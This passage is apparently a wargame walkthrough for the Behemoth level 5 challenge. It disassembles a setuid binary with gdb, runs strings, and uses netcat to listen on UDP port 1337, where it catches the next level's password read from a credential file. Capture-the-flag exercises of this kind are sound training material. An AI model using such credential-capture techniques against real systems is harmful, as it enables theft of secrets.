Because we know that a socket is being and we know the odds of it being a server socket are slim do to the fact that the applications closes. We have a general idea of what to look for. Now we simply load up our debugger and disassemble to see what’s going on.

behemoth5@melinda:/tmp/bh5$ gdb /behemoth/behemoth5
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
-- SNIP --
   0x08048829 <+236>:	call   0x8048620 <gethostbyname@plt>
   0x0804882e <+241>:	mov    DWORD PTR [esp+0x30],eax
   0x08048832 <+245>:	cmp    DWORD PTR [esp+0x30],0x0
   0x08048837 <+250>:	jne    0x8048851 <main+276>
   0x08048839 <+252>:	mov    DWORD PTR [esp],0x8048a1f
   0x08048840 <+259>:	call   0x8048560 <perror@plt>
   0x08048845 <+264>:	mov    DWORD PTR [esp],0x1
   0x0804884c <+271>:	call   0x8048590 <exit@plt>
   0x08048851 <+276>:	mov    DWORD PTR [esp+0x8],0x0
   0x08048859 <+284>:	mov    DWORD PTR [esp+0x4],0x2
   0x08048861 <+292>:	mov    DWORD PTR [esp],0x2
   0x08048868 <+299>:	call   0x8048610 <socket@plt>
   0x0804886d <+304>:	mov    DWORD PTR [esp+0x34],eax
   0x08048871 <+308>:	cmp    DWORD PTR [esp+0x34],0xffffffff
   0x08048876 <+313>:	jne    0x8048890 <main+339>
   0x08048878 <+315>:	mov    DWORD PTR [esp],0x8048a2d
   0x0804887f <+322>:	call   0x8048560 <perror@plt>
   0x08048884 <+327>:	mov    DWORD PTR [esp],0x1
-- SNIP --

-- SNIP --
   0x08048911 <+468>:	mov    eax,DWORD PTR [esp+0x34]
   0x08048915 <+472>:	mov    DWORD PTR [esp],eax
   0x08048918 <+475>:	call   0x80485f0 <sendto@plt>
   0x0804891d <+480>:	mov    DWORD PTR [esp+0x38],eax
   0x08048921 <+484>:	cmp    DWORD PTR [esp+0x38],0xffffffff
   0x08048926 <+489>:	jne    0x8048940 <main+515>
   0x08048928 <+491>:	mov    DWORD PTR [esp],0x8048a39
   0x0804892f <+498>:	call   0x8048560 <perror@plt>
   0x08048934 <+503>:	mov    DWORD PTR [esp],0x1
   0x0804893b <+510>:	call   0x8048590 <exit@plt>
   0x08048940 <+515>:	mov    eax,DWORD PTR [esp+0x34]
   0x08048944 <+519>:	mov    DWORD PTR [esp],eax
   0x08048947 <+522>:	call   0x8048630 <close@plt>
   0x0804894c <+527>:	mov    DWORD PTR [esp],0x0
   0x08048953 <+534>:	call   0x8048590 <exit@plt>
-- SNIP --
End of assembler dump.

We can confirm that indeed a socket is being made. Also we see sendto function sendto is used to broadcast a message on a stateless connection a.k.a “UDP”. We are only missing the host and the port now. If we had a good debugger we would be able to see the data in each memory address in our disassembly. We could iterate over all the addresses and look at memory. However to make things quick we run strings.

behemoth5@melinda:/tmp/bh5$ strings /behemoth/behemoth5
-- SNIP --
QVh=
D$L1
[^_]
/etc/behemoth_pass/behemoth6
fopen
localhost
gethostbyname
socket
1337
sendto
-- SNIP --

Looks like localhost and 1337. So to listen on the port we are going to use netcat.

behemoth5@melinda:/tmp/bh5$ nc -ul 1337
behemoth5@melinda:/tmp/bh5$ /behemoth/behemoth5
behemoth5@melinda:/tmp/bh5$
behemoth5@melinda:/tmp/bh5$ nc -ul 1337
[OMITTED]

There is our password.